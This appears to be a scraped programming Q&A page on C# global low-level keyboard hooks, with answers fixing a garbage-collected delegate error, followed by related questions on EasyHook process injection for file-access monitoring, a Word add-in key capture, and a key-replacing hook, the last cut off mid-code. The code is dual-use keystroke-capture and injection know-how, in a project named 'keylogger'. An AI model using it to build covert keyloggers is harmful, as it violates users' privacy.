Exception when event is raised with GC'd handler [duplicate] - c#

I have been using this key hook script i found but I continue to get an error after a few seconds of using it in my program. The error says.. A call has been made on a garbage collected delegate 'keylogger!Utilities.globalKeyboardHook+keyboardHookProc::Invoke'.
How can I fix this?
namespace Utilities
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook
{
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
globalKeyboardHook class :
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.IO;
namespace Utilities
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook : IDisposable
{
private bool _disposed;
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
hook();
_disposed = false;
}
public void Dispose()
{
Dispose(true);
// Use SupressFinalize in case a subclass
// of this type implements a finalizer.
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
// If you need thread safety, use a lock around these
// operations, as well as in your methods that use the resource.
if (!_disposed)
{
if (disposing)
{
unhook();
}
// Indicate that the instance has been disposed.
_disposed = true;
}
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
Dispose();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, new keyboardHookProc(hookProc), hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
I updated the code with IDisposable. I am probably horribly off on what I am supposed to do but its still not working

The problem is that:
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
is just syntactic sugar for:
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, new keyboardHookProc(hookProc), hInstance, 0);
and so the keyboardHookProc object is just local and will get disposed of since SetWindowsHookEx doesn't do anything to actually hold onto it in the managed world.
To fix this, up at the top where you define your member variables, add one more like this:
IntPtr hhook = IntPtr.Zero
private keyboardHookProc hookProcDelegate;
then change your constructor to be:
public globalKeyboardHook()
{
hookProcDelegate = hookProc;
hook();
}
and then change your hook() method to be:
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProcDelegate, hInstance, 0);
}
That way you're using a delegate that is stored as a member variable and will be alive as long as your globalKeyboardHook object is alive.

Sounds to me like you are instantiating a globalKeyboardHook then letting it get garbage collected. I'm guessing you do something like this:
public void InstallHook()
{
var hook = new globalKeyboardHook();
}
You need to keep a reference to the globalKeyboardHook() around to prevent it from being garbage collected.
globalKeyboardHook hook;
public void InstallHook()
{
hook = new globalKeyboardHook();
}

I'd like to add this, for future reference, as it may help understanding Tim's answer, and maybe debugging what's going on, if you have complex code:
callbackOnCollectedDelegate MDA
https://learn.microsoft.com/en-us/dotnet/framework/debug-trace-profile/callbackoncollecteddelegate-mda

even though with the new code I am still getting the mentioned error, as a solution I just kept an instance of the delegate at class scope, now the error does not come up anymore.
//do not forget to declare kbhproc class var
this.kbhProc = new keyboardHookProc(hookProc);
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, this.kbhProc /*new keyboardHookProc(hookProc)*/, hInstance, 0);
the above code is based on the code of the question.

Related

EasyHook sample project "RemoteFileMonitor" get a unexpected result

I have downloaded the project 'RemoteFileMonitor' here:
https://github.com/EasyHook/EasyHook-Tutorials/tree/master/Managed/RemoteFileMonitor
This project generate a console log of all files opened by an input process id.
the application run without issue but the log show unexpected result.
I have tested it with different process (notepad included) with the some result:
In short if you open multiple times the some file, the log show it only first time and show more results only for different files.
I need it to monitor in real-time, the file access of an external process, but it is frequently that the process try to open the some file and is important for me this information inside the log.
Here the main part of the original source code:
namespace FileMonitorHook
{
public class InjectionEntryPoint: EasyHook.IEntryPoint
{
/// <summary>
/// Reference to the server interface within FileMonitor
/// </summary>
ServerInterface _server = null;
/// <summary>
/// Message queue of all files accessed
/// </summary>
Queue<string> _messageQueue = new Queue<string>();
/// <summary>
/// EasyHook requires a constructor that matches <paramref name="context"/> and any additional parameters as provided
/// in the original call to <see cref="EasyHook.RemoteHooking.Inject(int, EasyHook.InjectionOptions, string, string, object[])"/>.
///
/// Multiple constructors can exist on the same <see cref="EasyHook.IEntryPoint"/>, providing that each one has a corresponding Run method (e.g. <see cref="Run(EasyHook.RemoteHooking.IContext, string)"/>).
/// </summary>
/// <param name="context">The RemoteHooking context</param>
/// <param name="channelName">The name of the IPC channel</param>
public InjectionEntryPoint(
EasyHook.RemoteHooking.IContext context,
string channelName)
{
// Connect to server object using provided channel name
_server = EasyHook.RemoteHooking.IpcConnectClient<ServerInterface>(channelName);
// If Ping fails then the Run method will be not be called
_server.Ping();
}
/// <summary>
/// The main entry point for our logic once injected within the target process.
/// This is where the hooks will be created, and a loop will be entered until host process exits.
/// EasyHook requires a matching Run method for the constructor
/// </summary>
/// <param name="context">The RemoteHooking context</param>
/// <param name="channelName">The name of the IPC channel</param>
public void Run(
EasyHook.RemoteHooking.IContext context,
string channelName)
{
// Injection is now complete and the server interface is connected
_server.IsInstalled(EasyHook.RemoteHooking.GetCurrentProcessId());
// Install hooks
// CreateFile https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
var createFileHook = EasyHook.LocalHook.Create(
EasyHook.LocalHook.GetProcAddress("kernel32.dll", "CreateFileW"),
new CreateFile_Delegate(CreateFile_Hook),
this);
// ReadFile https://msdn.microsoft.com/en-us/library/windows/desktop/aa365467(v=vs.85).aspx
var readFileHook = EasyHook.LocalHook.Create(
EasyHook.LocalHook.GetProcAddress("kernel32.dll", "ReadFile"),
new ReadFile_Delegate(ReadFile_Hook),
this);
// WriteFile https://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
var writeFileHook = EasyHook.LocalHook.Create(
EasyHook.LocalHook.GetProcAddress("kernel32.dll", "WriteFile"),
new WriteFile_Delegate(WriteFile_Hook),
this);
// Activate hooks on all threads except the current thread
createFileHook.ThreadACL.SetExclusiveACL(new Int32[] { 0 });
readFileHook.ThreadACL.SetExclusiveACL(new Int32[] { 0 });
writeFileHook.ThreadACL.SetExclusiveACL(new Int32[] { 0 });
_server.ReportMessage("CreateFile, ReadFile and WriteFile hooks installed");
// Wake up the process (required if using RemoteHooking.CreateAndInject)
EasyHook.RemoteHooking.WakeUpProcess();
try
{
// Loop until FileMonitor closes (i.e. IPC fails)
while (true)
{
System.Threading.Thread.Sleep(500);
string[] queued = null;
lock (_messageQueue)
{
queued = _messageQueue.ToArray();
_messageQueue.Clear();
}
// Send newly monitored file accesses to FileMonitor
if (queued != null && queued.Length > 0)
{
_server.ReportMessages(queued);
}
else
{
_server.Ping();
}
}
}
catch
{
// Ping() or ReportMessages() will raise an exception if host is unreachable
}
// Remove hooks
createFileHook.Dispose();
readFileHook.Dispose();
writeFileHook.Dispose();
// Finalise cleanup of hooks
EasyHook.LocalHook.Release();
}
/// <summary>
/// P/Invoke to determine the filename from a file handle
/// https://msdn.microsoft.com/en-us/library/windows/desktop/aa364962(v=vs.85).aspx
/// </summary>
/// <param name="hFile"></param>
/// <param name="lpszFilePath"></param>
/// <param name="cchFilePath"></param>
/// <param name="dwFlags"></param>
/// <returns></returns>
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern uint GetFinalPathNameByHandle(IntPtr hFile, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags);
#region CreateFileW Hook
/// <summary>
/// The CreateFile delegate, this is needed to create a delegate of our hook function <see cref="CreateFile_Hook(string, uint, uint, IntPtr, uint, uint, IntPtr)"/>.
/// </summary>
/// <param name="filename"></param>
/// <param name="desiredAccess"></param>
/// <param name="shareMode"></param>
/// <param name="securityAttributes"></param>
/// <param name="creationDisposition"></param>
/// <param name="flagsAndAttributes"></param>
/// <param name="templateFile"></param>
/// <returns></returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall,
CharSet = CharSet.Unicode,
SetLastError = true)]
delegate IntPtr CreateFile_Delegate(
String filename,
UInt32 desiredAccess,
UInt32 shareMode,
IntPtr securityAttributes,
UInt32 creationDisposition,
UInt32 flagsAndAttributes,
IntPtr templateFile);
/// <summary>
/// Using P/Invoke to call original method.
/// https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
/// </summary>
/// <param name="filename"></param>
/// <param name="desiredAccess"></param>
/// <param name="shareMode"></param>
/// <param name="securityAttributes"></param>
/// <param name="creationDisposition"></param>
/// <param name="flagsAndAttributes"></param>
/// <param name="templateFile"></param>
/// <returns></returns>
[DllImport("kernel32.dll",
CharSet = CharSet.Unicode,
SetLastError = true, CallingConvention = CallingConvention.StdCall)]
static extern IntPtr CreateFileW(
String filename,
UInt32 desiredAccess,
UInt32 shareMode,
IntPtr securityAttributes,
UInt32 creationDisposition,
UInt32 flagsAndAttributes,
IntPtr templateFile);
/// <summary>
/// The CreateFile hook function. This will be called instead of the original CreateFile once hooked.
/// </summary>
/// <param name="filename"></param>
/// <param name="desiredAccess"></param>
/// <param name="shareMode"></param>
/// <param name="securityAttributes"></param>
/// <param name="creationDisposition"></param>
/// <param name="flagsAndAttributes"></param>
/// <param name="templateFile"></param>
/// <returns></returns>
IntPtr CreateFile_Hook(
String filename,
UInt32 desiredAccess,
UInt32 shareMode,
IntPtr securityAttributes,
UInt32 creationDisposition,
UInt32 flagsAndAttributes,
IntPtr templateFile)
{
try
{
lock (this._messageQueue)
{
if (this._messageQueue.Count < 1000)
{
string mode = string.Empty;
switch (creationDisposition)
{
case 1:
mode = "CREATE_NEW";
break;
case 2:
mode = "CREATE_ALWAYS";
break;
case 3:
mode = "OPEN_ALWAYS";
break;
case 4:
mode = "OPEN_EXISTING";
break;
case 5:
mode = "TRUNCATE_EXISTING";
break;
}
// Add message to send to FileMonitor
this._messageQueue.Enqueue(
string.Format("[{0}:{1}]: CREATE ({2}) \"{3}\"",
EasyHook.RemoteHooking.GetCurrentProcessId(), EasyHook.RemoteHooking.GetCurrentThreadId()
, mode, filename));
}
}
}
catch
{
// swallow exceptions so that any issues caused by this code do not crash target process
}
// now call the original API...
return CreateFileW(
filename,
desiredAccess,
shareMode,
securityAttributes,
creationDisposition,
flagsAndAttributes,
templateFile);
}
#endregion
#region ReadFile Hook
/// <summary>
/// The ReadFile delegate, this is needed to create a delegate of our hook function <see cref="ReadFile_Hook(IntPtr, IntPtr, uint, out uint, IntPtr)"/>.
/// </summary>
/// <param name="hFile"></param>
/// <param name="lpBuffer"></param>
/// <param name="nNumberOfBytesToRead"></param>
/// <param name="lpNumberOfBytesRead"></param>
/// <param name="lpOverlapped"></param>
/// <returns></returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall, SetLastError = true)]
delegate bool ReadFile_Delegate(
IntPtr hFile,
IntPtr lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped);
/// <summary>
/// Using P/Invoke to call the orginal function
/// </summary>
/// <param name="hFile"></param>
/// <param name="lpBuffer"></param>
/// <param name="nNumberOfBytesToRead"></param>
/// <param name="lpNumberOfBytesRead"></param>
/// <param name="lpOverlapped"></param>
/// <returns></returns>
[DllImport("kernel32.dll", SetLastError = true, CallingConvention = CallingConvention.StdCall)]
static extern bool ReadFile(
IntPtr hFile,
IntPtr lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped);
/// <summary>
/// The ReadFile hook function. This will be called instead of the original ReadFile once hooked.
/// </summary>
/// <param name="hFile"></param>
/// <param name="lpBuffer"></param>
/// <param name="nNumberOfBytesToRead"></param>
/// <param name="lpNumberOfBytesRead"></param>
/// <param name="lpOverlapped"></param>
/// <returns></returns>
bool ReadFile_Hook(
IntPtr hFile,
IntPtr lpBuffer,
uint nNumberOfBytesToRead,
out uint lpNumberOfBytesRead,
IntPtr lpOverlapped)
{
bool result = false;
lpNumberOfBytesRead = 0;
// Call original first so we have a value for lpNumberOfBytesRead
result = ReadFile(hFile, lpBuffer, nNumberOfBytesToRead, out lpNumberOfBytesRead, lpOverlapped);
try
{
lock (this._messageQueue)
{
if (this._messageQueue.Count < 1000)
{
// Retrieve filename from the file handle
StringBuilder filename = new StringBuilder(255);
GetFinalPathNameByHandle(hFile, filename, 255, 0);
// Add message to send to FileMonitor
this._messageQueue.Enqueue(
string.Format("[{0}:{1}]: READ ({2} bytes) \"{3}\"",
EasyHook.RemoteHooking.GetCurrentProcessId(), EasyHook.RemoteHooking.GetCurrentThreadId()
, lpNumberOfBytesRead, filename));
}
}
}
catch
{
// swallow exceptions so that any issues caused by this code do not crash target process
}
return result;
}
#endregion
#region WriteFile Hook
/// <summary>
/// The WriteFile delegate, this is needed to create a delegate of our hook function <see cref="WriteFile_Hook(IntPtr, IntPtr, uint, out uint, IntPtr)"/>.
/// </summary>
/// <param name="hFile"></param>
/// <param name="lpBuffer"></param>
/// <param name="nNumberOfBytesToWrite"></param>
/// <param name="lpNumberOfBytesWritten"></param>
/// <param name="lpOverlapped"></param>
/// <returns></returns>
[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
delegate bool WriteFile_Delegate(
IntPtr hFile,
IntPtr lpBuffer,
uint nNumberOfBytesToWrite,
out uint lpNumberOfBytesWritten,
IntPtr lpOverlapped);
/// <summary>
/// Using P/Invoke to call original WriteFile method
/// </summary>
/// <param name="hFile"></param>
/// <param name="lpBuffer"></param>
/// <param name="nNumberOfBytesToWrite"></param>
/// <param name="lpNumberOfBytesWritten"></param>
/// <param name="lpOverlapped"></param>
/// <returns></returns>
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool WriteFile(
IntPtr hFile,
IntPtr lpBuffer,
uint nNumberOfBytesToWrite,
out uint lpNumberOfBytesWritten,
IntPtr lpOverlapped);
/// <summary>
/// The WriteFile hook function. This will be called instead of the original WriteFile once hooked.
/// </summary>
/// <param name="hFile"></param>
/// <param name="lpBuffer"></param>
/// <param name="nNumberOfBytesToWrite"></param>
/// <param name="lpNumberOfBytesWritten"></param>
/// <param name="lpOverlapped"></param>
/// <returns></returns>
bool WriteFile_Hook(
IntPtr hFile,
IntPtr lpBuffer,
uint nNumberOfBytesToWrite,
out uint lpNumberOfBytesWritten,
IntPtr lpOverlapped)
{
bool result = false;
// Call original first so we get lpNumberOfBytesWritten
result = WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, out lpNumberOfBytesWritten, lpOverlapped);
try
{
lock (this._messageQueue)
{
if (this._messageQueue.Count < 1000)
{
// Retrieve filename from the file handle
StringBuilder filename = new StringBuilder(255);
GetFinalPathNameByHandle(hFile, filename, 255, 0);
// Add message to send to FileMonitor
this._messageQueue.Enqueue(
string.Format("[{0}:{1}]: WRITE ({2} bytes) \"{3}\"",
EasyHook.RemoteHooking.GetCurrentProcessId(), EasyHook.RemoteHooking.GetCurrentThreadId()
, lpNumberOfBytesWritten, filename));
}
}
}
catch
{
// swallow exceptions so that any issues caused by this code do not crash target process
}
return result;
}
#endregion
}
}
I don't have mutch experience in hook in general, can someone let me known, if is possible fix this ?

How To Access KeyUp, KeyDown Events in VSTO Words Add-In?

My question is simple and you can say it as duplicate but its not like that as I want to detect key press events like KeyUp, KeyDown in VSTO Words Add-In while development using C# in VisualStudio2015 and run other functions as per KeyCode.
As per MSDN documentation, there are no such events for VSTO Add-In but they are giving some others events thats are like them as Document.SelectionChange Event and ApplicationEvents4_Event.WindowSelectionChange event but they are not as per requirements.
So is there any way to make it as per my question in easy way using C#...???
What I have read:
There are many related questions asked on StackOverflow but none of them is as per my question.
Detecting text changes in Word 2016 from VSTO add-in
MS Word's Add-in TextChange Event in C#
How to get the “KeyPress” event from a Word 2010 Addin (developed in
C#)?
Capturing keydown event of MS Word using C#
How to raise an event on MS word Keypress
How to trap keypress event in MSword using VSTO?
What I am trying:
I am trying the below code shared at A Simple C# Global Low Level Keyboard Hook and this one is working fine but only capturing events when clicked outside the Microsoft Word. Its not capturing event while typing in Word. I also want to just capture and run my own functions on events and don't want to interpt his own function like typing letters or etc.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Xml.Linq;
using Word = Microsoft.Office.Interop.Word;
using Office = Microsoft.Office.Core;
using Microsoft.Office.Tools.Word;
// Added Extra Namespaces
using System.Windows.Forms;
using Utilities;
namespace WordAddIn1
{
public partial class ThisAddIn
{
globalKeyboardHook gkh = new globalKeyboardHook();
private void ThisAddIn_Startup(object sender, System.EventArgs e)
{
gkh.HookedKeys.Add(Keys.A);
gkh.HookedKeys.Add(Keys.B);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
}
private void ThisAddIn_Shutdown(object sender, System.EventArgs e)
{
gkh.KeyDown -= new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp -= new KeyEventHandler(gkh_KeyUp);
}
void gkh_KeyUp(object sender, KeyEventArgs e)
{
MessageBox.Show("Up\t" + e.KeyCode.ToString());
e.Handled = true;
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
MessageBox.Show("Down\t" + e.KeyCode.ToString());
e.Handled = true;
}
#region VSTO generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InternalStartup()
{
this.Startup += new System.EventHandler(ThisAddIn_Startup);
this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown);
}
#endregion
}
}
and my main class file is...
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities
{
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook
{
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook()
{
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook()
{
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
{
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
Everthing should work fine if you don't use a low-level hook in your VSTO add-in.
For a working example please see my answer to the following question:
Detecting text changes in Word 2016 from VSTO add-in
In the example, you need to adjust the hook callback function to also respond to WM_KEYUP messages (currently the sample only reacts to WM_KEYDOWN events).
If you do not want to interfere with the default behavior of the key events (i.e. you still want the typed text to appear etc) you have to make absolutely sure to call CallNextHookEx in any case (this is currently not happening in your code).

Low level keyboard hook on a timer

I have a keyboard hook that intercepts the keys and outputs a random letter. What I want to do is set up a timer and have the keyboard unhook after one minute then in another minute hook itself back up. So the first part works, it hooks up on start and after one minute it unhooks, but then never hooks up again. How could I get it to re-hook after being unhooked?
Here's is the hook code:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities {
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook {
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct {
public int vkCode;
public int scanCode;
public int flags;
public int time;
